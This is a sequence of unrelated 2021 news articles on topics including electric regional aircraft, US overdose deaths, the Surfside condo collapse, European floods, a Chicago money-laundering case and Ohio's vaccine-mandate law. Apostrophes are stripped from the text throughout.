The 19-seat planes could be used to fly passengers up to 250 miles by the end of the decade, United said Tuesday morning.

Uniteds venture fund and its partner Mesa Airlines will be investing in the company developing the plane, Swedens Heart Aerospace. Both airlines agreed to purchase 100 of the planes if they meet Uniteds specifications once developed.

We expect the short-haul regional air travel market to play a key role in the evolution of the electric aircraft. As battery technology improves, larger-gauge aircraft should become viable but were not going to wait to begin the journey, Michael Leskinen, Uniteds Vice President Corp Development and Investor Relations, said in a news release.

United recently announced plans to buy 270 new planes in a push to swap out small regional jets for new, larger planes that customers tend to prefer.

However, the Heart Aerospace aircraft are cheaper to operate than traditional 19-seat jets that have largely been phased out in recent years, which could help bring new or additional air service to small cities where those flights would be too expensive today, Arizona-based Mesa said in a news release.

Mesa used to operate a large fleet of 19-seat planes but practically all 19 seat aircraft have been withdrawn from commercial service over the past 30 years because they were too costly, Mesa said.

United and Mesa also said the electric planes would help reduce climate-changing emissions. As some consumers have grown more concerned about the environmental impact of flying, the airline industry set a target of cutting emissions in half by 2050, while United and the U.K. aviation industry said they aim to reduce net emissions to zero by that date.

Batteries dont hold enough energy to power electric planes across the Atlantic but the technology works well for shorter trips on smaller planes, said Heart Aerospace founder and CEO Anders Forslund.

People didnt stop flying 19-seaters because they couldnt fly far enough, they couldnt pay for the maintenance of turboprop jet motors on small planes, Forslund said.

The investment is Uniteds latest bet on new planes that are years from being ready to fly passengers but are designed to generate fewer emissions than traditional jets.

United said last month it plans to buy 15 jets from Boom Supersonic that are designed to fly twice as fast as todays aircraft while using sustainable aviation fuel. The planes could be used to fly passengers by 2029, United said.

In a separate deal announced in February, United and Mesa announced plans to buy up to 200 small electric air taxis from electric aircraft startup Archer Aviation. The aircraft, capable of helicopter-like vertical takeoffs and landings, could be used to help customers in urban areas get to the airport.

The Heart Aerospace planes are larger and could be used on some regional routes, such as flights between OHare International Airport and Purdue University Airport or San Francisco International Airport and Modesto City-County Airport. The planes could begin flying by 2026, United said.

United declined to comment on the size of its investment. In total, Heart Aerospace raised $35 million in a round of funding that included United, Mesa and other investors, Forslund said.

2021 Chicago Tribune. Visit at chicagotribune.com. Distributed by Tribune Content Agency, LLC.
A heroin user displays a needle in a South Bronx neighborhood that has the highest rate of heroin-involved overdose deaths in New York City, on Oct. 6, 2017. (Spencer Platt/Getty Images)

US Drug Overdose Deaths Surged Nearly 30 Percent in 2020 to Record High

Deaths from drug overdose in the United States jumped nearly 30 percent in 2020 from the year before, according to provisional data released July 14.

More than 93,000 Americans died from drug overdoses in 2020, up from 72,151 in 2019, according to provisional statistics from the Centers for Disease Control and Prevention (CDC).

The 93,331 estimated deaths in 2020 would be the most on record.

This is the highest number of overdose deaths ever recorded in a 12-month period, and the largest increase since at least 1999, Dr. Nora Volkow, director of the National Institutes of Healths National Institute on Drug Abuse, said in a statement. These data are chilling. The COVID-19 pandemic created a devastating collision of health crises in America.

Driven by high levels of stress amid the pandemic, more people are turning to drugs, Volkow said. At the same time, treatment options for addiction were delayed or halted because of harsh lockdown mandates.

Keith Humphreys, a professor of Psychiatry and Behavioral Sciences at Stanford University, said on Twitter that the numbers show that addiction is a bigger public health crisis than COVID-19.

Opioids were a big factor in the surge. Opioids, a drug class that includes synthetic products such as fentanyl and prescription painkillers such as oxycodone, were a factor in approximately 75 percent of the deaths.

We do know the primary driver of the increase involves synthetic opioids, primarily fentanyl, Bob Anderson, chief of the Mortality Statistics Branch at the National Center for Health Statistics, which is part of the CDC, told Reuters.

The death numbers are based on death records received and processed by the National Center for Health Statistics from 50 states and the District of Columbia.

A study published last month found that shelter-in-place mandates, or lockdowns, failed to save lives during the pandemic. While fewer people may have died from COVID-19 because of such orders, deaths came in higher from drug overdoses, murders, and unintentional injuries, researchers said.

Michele Holbrook, who lost her son Chandler Cook to an overdose during the pandemic, told The Epoch Times that he experienced more severe depression because of a lack of daily structure and a steady income after the restaurant where he was working had to let him go.

The Florida woman was upset that liquor stores were deemed essential businesses by some officials while Alcoholics Anonymous or Narcotics Anonymous meetings werent, meaning the former stayed open and the latter closed.

People that dont understand this disease feel you can just walk away from it at the drop of a hat. And I know you cannot, she said. I saw it firsthand with Chandler. He didnt like it, it wasnt something he enjoyed.
US Warns of Business Risks in Xinjiang

Genocide in China tops the list of global atrocities, based on a new U.S. human rights report.

American companies related to Chinas Xinjiang region may have cause for concern. The United States says if they want to avoid that risk, they have to exit supply chains, ventures, and investments connected to the region.

Freedom in Hong Kong takes another hit. This time, the city plans to unseat district councilors if they refuse to pledge allegiance to its Beijing-controlled government.

The U.S. case against TikTok faces a turning point. The Biden administration moves to get appeals dismissed over the Chinese-owned video-sharing app.

One of Chinas neighbors is growing more concerned about Taiwan. Japans annual defense report says tensions surrounding the island have reached crisis levels.

Subscribe to our YouTube channel for more first-hand news from China.

For more news and videos, please visit our website and Twitter.
Were Ruining Our Nation: Rep. Herrell on Border Crisis

DALLAS, TexasThe high number of illegal immigrants streaming into the United States threatens to destroy America, Rep. Yvette Herrell (R-N.M.) believes.

I think were ruining our nation. I think this is a national security issue. I think were diluting the people that are coming here for the right reasons, Herrell told The Epoch Times at the Conservative Political Action Conference.

We have a policy, we have policies in place. Im all for people migrating to America through the right process but now were infiltrating our neighborhoods, our schools with criminal aliens, she added.

Since President Joe Biden took office, illegal immigrant apprehensions at the border have skyrocketed. The number of apprehensions was over 180,000 in May, the last month for which data are available. That was the highest monthly total in over 20 years.

Herrell has visited the border five times in recent months. She recounted seeing one of the Health and Human Services-run facilities for unaccompanied minors, or illegal immigrant children, at Fort Bliss in El Paso, Texas.

The Biden administration stopped utilizing Title 42 powers, which were imposed because of concern that immigrants could be carrying the virus that causes COVID-19 amid the pandemic, on such minors, claiming it was not humane.

But Herrell said the administration is not doing background checks and officials thus cannot know if the kids are being sent to legitimate sponsors, usually relatives.

We dont know if these kids are going to people here legally, if these are real sponsors, if these are cartel, I mean, we dont even know where theyre going. But all of this is at the expense of the taxpayer, she said.

The United States is spending about $60 million a week just to shelter illegal immigrant children.

The Department of Health and Human Services (HHS) said in an emailed statement this week that the Biden administration is committed to implementing an immigration system that is humane, orderly, and lawful and is monitoring the border and marshalling all corners of the government to find compassionate and fair solutions.

A group of Venezuelans wait to be picked up by Border Patrol after illegally crossing the Rio Grande from Mexico into Del Rio, Texas, on June 3, 2021. (Charlotte Cuthbertson/The Epoch Times)

As part of that effort, the administration is working to move illegal immigrant children quickly from Department of Homeland Security (DHS) custody to HHS-run facilities, and then to vetted family members or other sponsors as safely and quickly as possible.

Over 15,000 such children were in HHS care as of July 12, with another 724 in the custody of DHS.

Herrell warned that there are consequences for the explosion in migration, noting that many of the women and kids who journey from the south become victims of rape and sex trafficking.

These are children that are being dropped off at our borders. The Democrats dont want to talk about it because it doesnt fit their narrative. And with the mainstream media not talking about it in the way that it needs to, very openly and very honestlyI mean, this entire process, its cruel, its cruel for the families, the kids that are coming here illegally, because a lot of them dont even understand what theyre doing, she said.

Its costly to the American people and its very cowardly, that our administration wouldnt take the upper hand, admit that they made a promise. They made a mistake by opening the border, but here we are, with the numbers coming through, every month there is another increase. Were at 20-year highs right now, our country cannot sustain this. And quite frankly, we cannot afford this.
What Daydreaming Does to Your Mind

Science suggests that mind-wandering may improve our mood and foster creativity

Im a big believer in daydreaming now and thenespecially when Im out hiking. Theres something about being in nature that helps me let go of daily cares and allows my mind to wander where it will, which feels great and often jumpstarts my creativity as a writer and musician.

I admit, though, Ive been troubled by research showing how mind-wandering could make me less productive or even depressedthe last thing I need. But it turns out this gap between personal experience and science may best be explained by how researchers have lumped together different kinds of mind-wandering. Not all research has differentiated between depressive rumination (like replaying an ongoing disagreement with our spouse in our minds) and pleasant daydreaming (letting our minds wander freely).

Now, some newer science is painting a more nuanced picture of what happens to us when we let our minds wander. Though the research is young and growing, it suggests that daydreaming may actually make us happier and more creativeif we do it the right way.

Daydreaming May Be Good for Creativity

Anecdotally, mind-wandering has been associated with creativity for centuries. But this link to creativity may depend on the type of mind-wandering you do, as a new study by the University of Calgarys Julia Kam and her colleagues suggests.

In this study, researchers used electroencephalogram technology to see what happens in our brains when we are engaged in different types of mind-wandering. To do that, they had people perform a mundane, repetitive task and interrupted them occasionally to see what they were thinking about, while continuously monitoring their brain activity.

Some participants reported thoughts that Kam calls constrained, involving things like ruminating over a fight with a spouse or thinking about how to manage a work problem. While these thoughts werent related to the task at hand, they were still somewhat focused. Others reported thoughts that were freely movingmeaning, they skipped from thing to thingperhaps daydreaming about a future vacation in Italy, then wondering if they needed a new bathing suit, then fantasizing about an old flame.

When Kam and her colleagues matched peoples thoughts to their concurrent brain activity, they found signature patterns for different types of mind-wandering. In particular, freely moving thoughts were associated with increased alpha waves in the brains frontal cortexa remarkable and novel finding, said Kam.

Whats really striking about finding this neural marker is that its been implicated during studies of creativity, she said. When you introduce alpha oscillation in the frontal cortex, people perform better on creative tasks.

This kind of brain activity maps well on to one particular aspect of creativitydivergent thinking or thinking outside the box, she said. When youre generating ideas, you want to be able to go in many directions and not be constrained, which freely moving thought allows.

Mind-wandering has also been shown to enhance convergent thinking: what happens after youve brainstormed ideas and have to pick the best of the bunch, she adds. So, its likely that mind-wandering serves a creative purpose.

If a problem has built up in your mind and you need to find a solution, letting it go into the background for a bit probably helps, she said. Mind-wandering facilitates the kind of solution that just comes to you, as in a lightbulb moment.

This mirrors results from a 2015 study conducted by Claire Zedelius, formerly of the University of CaliforniaSanta Barbara. She looked at how mind-wandering affected peoples performance on a creativity test where they had to come up with a novel word (e.g., food) that fits with three seemingly unrelated words (e.g., fish, fast, and spicy). She found that people who mind-wandered performed better on this task, the answer coming to them in a flash rather than through methodically testing different solutions.

People dont even know how they got to the solutionit was just suddenly there, she said. Mind-wandering helps with aha types of problem-solving.

In a more recent study, Zedelius looked at the contents of peoples thoughts to see how that related to everyday creativity (outside of a lab setting). Participants, including some creative writers, were prompted via cellphones throughout the day to report on the nature of their thoughts and, at the end of the day, how creative they had been. Findings showed that peoples minds often wandered to fairly mundane thingssuch as planning for a later shopping tripand that these thoughts had no effect on creativity.

But when peoples minds wandered in more fantastical ways (playing out implausible fantasies or bizarre, funny scenarios, for example) or in ways that seemed particularly meaningful to them, they tended to have more creative ideas and feel more inspired at the end of the day, too. Interestingly, this was true for both writers and everyday people.

Writers probably do this for their creative process all the timethinking through stories, considering what ifs or unrealistic or bizarre scenarios, Zedelius said. But laypeople will also do this more to be more creative.

This suggests that the link between mind-wandering and creativity is more complicated than previously thought. It seems to depend on how freely moving your thoughts are, the content of your thoughts, and your ability to be removed from everyday concerns. No doubt, this explains why my daydreaming on a hiking trail has led to song or story ideas that seem to bubble up from nowhere.

Mind-Wandering Can Help Boost Our Mood

Prior research suggests a wandering mind is an unhappy mind: We tend to be less happy when were not focused on what were doing. And thats likely true, if you tend to rehash past mistakes or replay social flubs when your mind wanders, or if your mind-wandering keeps you from fulfilling your goals.

Again, the content of wandering thoughts makes a big difference. For example, as one 2013 study showed, when people found their wandering thoughts more interesting, their moods actually improved while mind-wandering. Similarly, other studies have found that thinking about people you love or thinking more about your potential future than about what happened in the past produces positive results.

How you use mind-wandering may also be important. In some cases, people intentionally mind-wandersomething that has been mostly unexplored in the research, but likely has distinct effects. As one 2017 study found, people who use daydreaming for self-reflection typically have more pleasant thoughts than people who simply ruminate on unpleasant experiences.

There is even some evidence that mind-wandering may be more of an antidote to depression than a cause. People who are depressed may simply replay events from their past to better understand what happened to cause their dark mood and avoid future problems. Also, when researchers studied whether a negative mood preceded or followed a mind-wandering episode, they found poor moods led to more mind-wandering but not vice versa, suggesting that mind-wandering may be helping people feel better.

Now, findings from a 2021 study suggest that mind-wandering that is more freely moving can actually improve your mood.

In this study, participants were prompted randomly via cellphone over three days to report how they were feeling (positive versus negative) and how much their thoughts were freely moving and related to what they were doing (or not).

After analyzing the data, the researchers found that when peoples thoughts were off-task, they generally felt more negativesimilar to what earlier findings showed. But if their thoughts were free-moving, it had the opposite effect, helping people feel happier.

Our findings suggest there might be positive aspects of mind-wandering, the researchers conclude.

Again, I find that science supports my own experience. If I simply put myself in a space that lets my mind move freely, I dont get depressed. On the contrary, Im happier because of it.

Can We Be Better Mind-Wanderers?

While the research on this is still young, it does indicate there may be a right and a wrong way to mind-wander.

Kam warns that mind-wandering when you need to be focused on a task (or risk hurting yourself or otherslike if youre driving or doing surgery) could be problematic. But, she said, if you let your mind wander when youre doing mundane tasks that dont require focussuch as knitting or shelling peasit may help you feel better or come up with creative ideas.

The context and the content of your mind-wandering is actually really important. It plays a role in whether you get a good outcome or a not-so-good one, she said.

Though many of us have a default mode that takes our mind to dark places when we arent busily engaged, that doesnt mean we have to stay stuck there. If we can divert our thoughts from those darker places, well likely get more out of mind-wandering.

Kam thinks practicing mindfulness could help with that, as long as it increases awareness of our thoughts and alerts us when weve strayed into problematic thinking, which could then help us redirect our mind-wandering.

Just having more control over when mind-wandering happens and the kind of thoughts that you have would be very useful, she said.

Zedelius also said awareness matters. As many study participants told her, they had never paid much attention to where their minds went before being in her study, but found the process eye-opening.

They would say, Ive become aware of patterns in my thoughts that I never noticed beforewhat I get drawn to, she said. It makes me wonder if the repeated probing we do in our experiments could not just be used as a measure, but as a type of intervention, to see if awareness changes over time.

Of course, even though daydreaming may be good for us, it gets a pretty bad rap in American culture. Americans tend to pride themselves on their strong work ethicoften translated as working hard for long hours with complete focus.

But people arent built to be on all of the time. Taking a mind-wandering break might be good, not just for our creativity and happiness, but also for our productivity, especially if we are in jobs requiring focused attention that is draining to maintain. And, as long as its employed during times when complete focus isnt required, it may improve our well-being without hampering performance.

We shouldnt need an excuse to mind-wander, given that its part of our human inheritance. Besides, weve hardly begun to recognize what it can do for us, Zedelius said.

My hope is that people will explore the limits of mind-wandering a bit more and try to mind-wander in a way that is bigger, more fantastical, more personally meaningful, and further into the future, she said. If people just really allowed themselves to playfully use this tool, they might be able to focus on creative solutions to big problems.

Jill Suttie, Psy.D., is Greater Goods former book review editor and now serves as a staff writer and contributing editor for the magazine. This article was originally published by the Greater Good online magazine.
Wilson-Raybould Leaving Federal Politics Means MPs Independence and Ability to Speak Up Is Diminished: Former Liberal MP

MP Jody Wilson-Rayboulds decision to leave federal politics doesnt bode well for the independence and ability of members to speak on behalf of their constituents, a former Liberal MP says.

I think it suggests that the independence, the ability to speak, to represent, is lost with her departure, Dan McTeague told The Epoch Times.

The word parliament is derived from the French word to speak. If the member of Parliament cannot speak and what theyre speaking is just nothing more than partisan gibberish, then we lose sight of the real role of accountability, of respectful debate, and the ability to bring forth ideas and perspectives that include all Canadians.

Wilson-Raybould announced on July 8 that she will not be running in the next federal election in her riding of Vancouver Granville.

In a letter to her constituents, the former justice minister said she has noticed a regression in Parliament in that it has become more and more toxic and ineffective.

Federal politics is, in my view, increasingly a disgraceful triumph of harmful partisanship over substantive action, she said.

Wilson-Raybould noted that the power of the prime minister and the centralization of power in the hands of those who are unelected is one of the many problems in the current Parliament. She also highlighted the issue of politicians suffering little or no consequences when they engage in wrongful acts for political gain.

Wilson-Raybould was first elected as a Liberal MP in 2015 and went on to become Canadas first indigenous justice minister that year. However, she was ousted from the partys caucus in April 2019 after she accused Prime Minister Justin Trudeau of pressuring her to secure a deferred prosecution agreement for SNC-Lavalin.

Prior to that, she had resigned as a cabinet minister over the affair.

The federal ethics commissioner concluded in August 2019 that Trudeau violated the Conflict of Interest Act by pressuring her to halt a criminal prosecution of the Montreal engineering giant on corruption charges related to contracts in Libya.

Wilson-Raybould was re-elected as an Independent MP in October 2019.

McTeague commended Wilson-Raybould for her integrity in standing up to the pressure put on her during the SNC-Lavalin scandal. His main concern is the gradual removal of the independence and ability of MPs to think and speak for themselves.

I came from an era when, as a government member or opposition member, I could always speak very freely.  And in that we would be able to have a form of debate and understanding and mutual respect that we could achieve something in Canada called consensus, he said.

He said Parliament is not under the control of the head of government.

Parliament, in this country, is not something that is the plaything of the prime minister. It is something that belongs to Canada. And its not the prime ministers work order, its not within his purview, to be able to determine who can speak and who cannot speak, he said.

Toxicity from hyper partisanship without due regard to debate, mutual respect, and adherence to the facts diminishes the idea that Parliament is a place to exchange ideas and create good policy that would have the support and respect of most Canadians, he said.

It corrodes the confidence the public has in their representatives to speak out for them.

With files from The Canadian Press
Drug kingpin Joaquin "El Chapo" Guzman is escorted into a helicopter at Mexico City's airport following his recapture by the Mexican military in Los Mochis, in Sinaloa State on Jan. 8, 2016. (Alfredo Estrella/AFP/Getty Images)

Wives of Chicago Twins Who Cooperated Against El Chapo Plead Not Guilty to Money Laundering Charges

By Jason Meisner

From Chicago Tribune

CHICAGOThe wives of Chicago twins who cooperated against Sinaloa cartel kingpin Joaquin El Chapo Guzman pleaded not guilty Tuesday to money laundering charges alleging they helped hide and spend hundreds of thousands of dollars of their husbands drug proceeds over more than a decade.

Vivianna Lopez, 40, also known as Mia Flores, and Valerie Gaytan, 45, also known as Olivia Flores, entered their pleas during a telephone hearing before U.S. District Judge Matthew Kennelly.

Both Lopez and Gaytan are on free on bond in secret locations after their arrests last month in separate areas of the country. They spoke only briefly during the hearing Tuesday, confirming their identities and agreeing to proceed with the arraignment by phone.

Prosecutors said they have agreed with defense counsel for both women not to file anything in the public record that could disclose their locations.

Kennelly set a trial date for June 6, 2022.

An indictment unsealed last month accused the women and three others with conspiring to launder illicit drug proceeds in Chicago between 2008 and 2020 earned by their husbands, Pedro and Margarito Flores.

Also charged in the money laundering conspiracy were the twins older brother, Armando Flores, 52, of Round Rock, Texas; Laura Lopez, 58, of Chicago; and Bianca Finnigan, 32, of Sycamore, Illinois, who is the sister of Vivianna Lopez.

Finnigan an Laura Lopez previously pleaded not guilty to the charges. Armando Flores was arrested in Texas and is currently awaiting extradition to Chicago, his lawyer said.

The Flores twins were West Side drug traffickers whose decision to cooperate with federal authorities in 2008 led to arguably the biggest drug case ever brought in Chicago, with charges against El Chapo himself as well as many of his top underbosses.

The twins were sentenced in 2015 to 14 years in prison and were released late last year into witness protection.

In December 2018, Pedro Flores testified in the landmark trial against Guzman in New York, where prosecutors played phone calls recorded by the twins that were crucial in the federal effort against the drug lord. On one call, jurors heard Guzmans own voice greeting Flores with Amigo! and discussing a price break on a shipment of heroin destined for Chicago.

Guzman was convicted and sentenced to life in prison.

According to the nine-count indictment made public last month, the Flores wives maintained portions of their husbands drug proceeds at multiple locations over the course of more than 12 years, including Laura Lopezs residence in Chicago and Armando Flores residence in Texas, and used the money for the benefit of themselves, the incarcerated husbands, and others.

The conspirators allegedly laundered the money through currency exchanges, credit cards, money orders, gift cards, and the U.S. mail, according to the U.S. attorneys office.

The charges allege the wives spent more than $165,000 in drug money on private school tuition for their children, $100,000 in international and domestic travel, $80,000 for Vivianna Lopezs rent, and $11,000 in child support for one of their husbands kids.

One of the wives also spent $31,000 of laundered drug money on her laundry business, the indictment alleged.

The indictment seeks forfeiture from Vivianna Lopez and Gaytan in the amount of $504,858.

2021 Chicago Tribune. Visit at chicagotribune.com. Distributed by Tribune Content Agency, LLC.
SURFSIDE, Fla. (AP)  Exhausted crews neared the end of their search for victims of a Miami-area condominium tower collapse Tuesday as the death toll reached 95 with just a handful of people still unaccounted for.

Miami-Dade County Mayor Daniella Levine Cava said at a news conference that the number of people considered missing has dwindled as authorities work to identify everyone connected to the building. The mayor said 14 people remain unaccounted for, which includes 10 victims whose bodies have been recovered but not yet identified  leaving potentially four more victims to be found.

Its a scientific, methodical process to identify human remains. As weve said, this work is becoming more difficult with the passage of time, Levine Cava said, adding that it is truly a fluid situation.

Of the 14 people considered not accounted for, the mayor said 12 are the subject of missing persons reports and detectives are trying to verify information about the other two.

Twenty days after the disaster, Levine Cava said crews had removed 18 million pounds (8 million kilograms) of rubble from the site. Search crews were taking great care to identify and preserve any personal property recovered, the mayor added.

They have given of their heart and soul, Levine Cava said of the crews that have worked around the clock for nearly three weeks. We are totally walking among superheroes.

It will take much longer for experts to figure out what caused the 12-story Champlain Towers South condominium to fall into a tangled heap of concrete and steel on June 24. The building was set for its four-decade recertification review when it collapsed.

Engineers and others investigating the cause of the collapse have been identifying key pieces of the 40-year-old building to determine what happened, Surfside Mayor Charles Burkett said.

We're looking at how the building lines up with what the plans say, he said.

The search for answers includes an engineer hired by the town of Surfside, a team from the National Institute of Standards and Technology, experts hired by lawyers representing families and others.

Part of the investigation will include what decisions were made by government building officials and the condominium board, which knew of serious structural problems with the tower as early as fall 2018. Some residents were reluctant to pay assessments in the tens of thousands of dollars for the repairs, leading to acrimonious board meetings.

There is also concern about the stability of Champlain Towers North, a nearly identical building next door built at the same time and by the same developer as its doomed sister structure. So far, no mandatory evacuation order has been given for that building.

If there were a need to make any changes, they would, Levine Cava said of the north tower.

Discussions continue about what to do with the collapse site with families of the victims, Burkett said. Some residents who escaped the disaster want the tower rebuilt so they can move back in. Others want some kind of memorial site.

We want the families to tell us what they want to see, Burkett said. I'm looking forward to having those discussions.

_____

Associated Press writers Curt Anderson in St. Petersburg and Freida Frisaro in Fort Lauderdale contributed to this story.

___

The spelling of Mayor Daniella Levine Cavas name has been corrected in the sixth paragraph.
BERLIN (AP)  Storms caused severe flooding across parts of western and central Europe, with a fireman drowning Wednesday during rescue work in Germany and a man missing after he was swept away by a raging stream elsewhere in the country.

The fireman died in the western German town of Altena, police told German news agency dpa. In the eastern town of Joehstadt, firefighters were searching for a man who had been trying to secure his property from rising waters when he disappeared.

Firefighters in Hagen, near Altena, rescued several drivers whose vehicles got stuck in a flooded underpass. Videos on social media showed streets in the city filled with knee-high water and others buried by landslides.

A fallen tree trapped a woman in the German town of Mettmann, and responders had to hold her head up to keep her from drowning in rising flood waters until firefighters could free her.

Residents in nearby Erkrath were warned not to shower or use their washers because rain had overloaded the local sewage system. And in Duesseldorf, city authorities called on residents in the city's Grafenberg district to leave their apartments Wednesday because of potential flooding.

Hof county in Bavaria issued a disaster alert late Tuesday as basements filled with water, trees were uprooted and some areas lost power overnight. Germanys DWD weather service said the region saw 80 liters (more than 21 gallons) of rain per square meter in the space of 12 hours.

German government spokesman Steffen Seibert described the images from regions hardest hit by flooding as terrible.

Even though not every event, not every flooding or local incident, is related to climate change, many scientists tell us that the frequency, the intensity and the regularity with which this happens is a consequence of climate change, Seibert said.

DWD meteorologists forecast declining rainfall in western Germany for Thursday, but more in the country's southwest and south  though not as intense as Wednesday's precipitation.

In the the neighboring Czech Republic, firefighters received 800 calls about incidents ranging from fallen trees to flooded basements. A highway linking the capital, Prague, to the east of the country partly flooded overnight. Thousands of households remained without electricity Wednesday.

Mud inundated houses in some towns in eastern Belgium as sustained rains hit the Ardennes hills hard. The tourist center of Spa, close to the famed Formula One track, could not handle the water streaming down from the surrounding hills that turned streets into rivers.

Cars piled on top of one another and cellars flooded, but no serious injuries were reported.

The Belgian meteorological institute issued a red alert Wednesday for the zone around Liege, some 100 kilometers (60 miles) east of Brussels, which was forecast to get more rain in a day than the area would normally receive in a whole summer month. The rain is expected to last until Friday.

Authorities in the Netherlands warned the heavy rainfall in the southern province of Limburg could turn streams into dangerously fast-flowing torrents and urged the public to stay away from them. Boat owners were advised to steer clear of the Maas river due to strong currents and debris being washed downstream.

Dutch media showed people being rescued Tuesday from a historic mill in the Netherlands that was partially submerged under floodwaters estimated at 1.5 meters (5 feet) high.

Authorities in Limburg later said that a storm water storage area in the town of Hoensbroek was at risk of overflowing and told nearby residents to seek a safe place in their homes and turn off their gas and electricity. Authorities were attempting to ease pressure by releasing water but warned local residents that doing so could cause damage to nearby homes.

Swollen rivers were expected to overflow into their floodplains later in the week, which is unusual in the summer. It more often happens in the spring when rivers such as the Rhine and the Maas rise due to melting snow in European hills and mountains.

In Switzerland, authorities raised the flood warning for Lake Lucerne to the highest level and banned all shipping.

France's national weather service issued warnings Wednesday for five regions in the country's northeast. area. Much of France has seen an unusually cool and wet summer so far.

Meanwhile, parts of southeastern Europe have been experiencing a heat wave. Temperatures in Albania and neighboring Kosovo reached 35-37 degrees Celsius (95-99 F ) on Wednesday.

No deaths have been reported from the heat wave so far. Authorities strongly urging the public, especially children and older adults, to stay home during the day.

___

Mike Corder in The Hague, Karel Janicek in Prague, Angela Charlton in Paris, Raf Casert in Brussels and Llazar Semini in Tirana contributed to this report.
NORWALK  New methods to curb speeding are being considered after the police asked for help identifying the driver of a hit-and-run involving a juvenile and a Norwalk neighborhood posting their own traffic signs.

The citys Bike/Walk Commission, formed in 2017, is looking for ways to engage residents in traffic control and educate drivers on the dangers of speeding. At Tuesdays meeting, co-chair of the commissions pedestrian committee, Audrey Cozzarin, proposed the purchasing of 100 yard signs residents can erect calling for slower speeds.

Theyre not being installed by the city, theyre placed on the grass, Cozzarin said. Residents are trying to speak directly to motorists, so as motorists race through their neighborhoods its reminding them to slow down.

Cozzarin recently noticed signs in the Prospect Avenue and Beau Street area, posted in the road verge, presumably by residents calling for the motorists to reduce speed, she said.

With her proposal, residents and businesses would be allowed to pick up a yard sign and metal stand at the Norwalk Public Library, as director Sherelle Harris agreed to house the signs, Cozzarin said.

Cozzarin said the signs would cost about $440, or $4.40 per sign.

This is an effort by the people who are taking matters into their own hands, she said.

The discussion comes after the Norwalk Police Department request the publics help in identifying the driver of a car allegedly involved in the hit-and-run of a bicyclist on June 11.

The juvenile bicyclist was riding their bike on Taylor Avenue around 8:45 p.m. when they were hit by a driver that fled, according to police.

About two hours later, the investigating officer went to Norwalk Hospital to speak with the victim and their family about what happened, Sgt. Sofia Gulino has said. The victims injuries were non-life-threatening, Gulino said.

The victim said a vehicle driving in the opposite direction made a left turn onto Connecticut Avenue, hitting them, according to police. The victim then rolled onto the hood of the car before falling to the pavement as the bicycle was run over by the fleeing driver.

As the bike initially was stuck under the vehicle, the victim told police the driver went into reverse, dislodging the bike, before leaving the scene headed east on Connecticut Avenue.

The driver was described by police as a man in his 60s with a gray beard, wearing a black hat; he was driving a Toyota Rav 4 with orange plates, possibly a New York registration. Gulino said the mans vehicle would have front-end damage and broken right headlight.

Norwalk police did not respond to a request for comment Tuesday on the status of the investigation.

Some motorists saw that happen, others drove around them and the area to get away, Cozzarin said. The Bike/Walk Commission is trying to tackle an enormous issue and keep promoting biking and walking, but you dont want to encourage people to get out if its not safe, and we have to get at the city to make changes but they do study after study.

Director of Transportation, Mobility and Parking Jim Travers rejected the sign idea, saying if the signs are posted in city property, they would violate city ordinance and be removed by the Department Public Works. Travers also said signage of that kind has been proven ineffective.

There have been numerous studies for these types of signs throughout the years and none of them have ever proven to have any change in driver behavior, Travers said. I think we would be adding to a landfill, but we would be adding to the sign clutter. If what we are looking to do hasnt produced results, I dont know why we would want to mimic it.

The commission is currently working on an application for the Bike Walk Connecticut Complete Streets grant which, should Norwalk receive the funding, would require implementation of an education campaign, Travers said. The program is funded by a federal grant administered to the state Department of Public Health, according to the program website.

He recommended the city find a way to use to education requirement to fix the speeding issue.

There is an ordinance against signs, but these are meant to be of public benefit, these are not advertising signs or campaign signs, Cozzarin said. I think hes (Travers) incorrect and ordinances can be changed.

abigail.brone@hearstmediact.com
COLUMBUS, Ohio (AP)  Public schools and colleges in Ohio would be prohibited from requiring individuals to receive vaccines not granted full approval by the U.S. Food and Drug Administration, under a bill targeting coronavirus vaccinations signed into law Wednesday by Gov. Mike DeWine.

The bill, to take effect in 90 days, would also prohibit individuals who don't receive emergency use vaccines from being denied the chance to participate in school activities such as sports.

The Republican governor signed the bill without comment, although a day earlier he said the FDA needs to move coronavirus vaccines from emergency use authorization to full approval as soon as possible. He said the emergency element is leading to vaccine hesitancy in the state.

It is past time for the FDA to take into account that hundreds of millions of people have received these vaccines, and move it from an emergency basis over to a regular basis, the governor said Tuesday. That will help us, in Ohio and across the country, to get more people vaccinated.

The measure was a last-minute GOP addition to a bill aimed at minimizing disruptions for children of military families moving into or out of districts as a result of their parents' deployments.

Parents in consultation with personal doctors have the right to make decisions about their children, especially for vaccinations that are not fully approved by the FDA, Sen. Andrew Brenner, a Delaware Republican, said during Senate debate on the emergency use prohibition on June 28.

Democrats say the measure was a political ploy for votes and not based in science.

Public schools and universities in Ohio should be able to create policies to keep their students and employees safe, Senate Minority Leader Kenny Yuko, a Cleveland Democrat, said Wednesday after the governor signed the bill.

Democrats also criticized a second last-minute GOP addition to the legislation requiring the state Department of Health to provide transportation, lodging, food and medical testing to individuals ordered to quarantine because of a contagious disease outbreak.

Earlier this month, DeWine vetoed a Republican-backed portion of the state budget that would have stopped disciplinary actions against companies cited for violating public health orders during the coronavirus pandemic and refund payment of any fines. The governor said it would send a horrible message to the majority of companies who followed state mandates to slow the spread of the coronavirus.

House Republicans are also pushing another bill that would prohibit employers, either public or private, from requiring employees to receive vaccinations. The measure before the GOP-controlled House Health Committee has attracted multiple opponents of COVID-19 vaccines but does not mention the coronavirus. Instead, it addresses mandatory requirements for all vaccines, such as for the flu.

Lawmakers adjourned for the summer without moving the bill out of committee. It's opposed by every major business group in Ohio along with multiple medical, hospital and health care groups.

DeWine signed the legislation Wednesday just hours after his top medical advisor warned that vaccination trends have led to the development of two Ohios when it comes to combating the coronavirus, increasing vulnerability to the disease's highly contagious delta variant.

The delta variant is rapidly becoming the disease's dominant strain and is a real threat to those who are unvaccinated, Dr. Bruce Vanderhoff, chief medical officer for the Ohio Department of Health, said in a morning briefing.

The delta variant was first identified in India and is now spreading in more than 90 other countries. Meanwhile, about 5.3 million people in Ohio, or 45% of the population, have completed the vaccination process.

"The reality is, we now have two Ohios," Vanderhoff said. An Ohio that is vaccinated and protected on the one hand, and an Ohio that is unvaccinated and vulnerable to delta on the other.

About nine of every 10 people hospitalized for COVID-19 in central Ohio since April have been partially vaccinated or not vaccinated at all, added Dr. Andrew Thomas, chief clinical officer at the Ohio State University medical center.

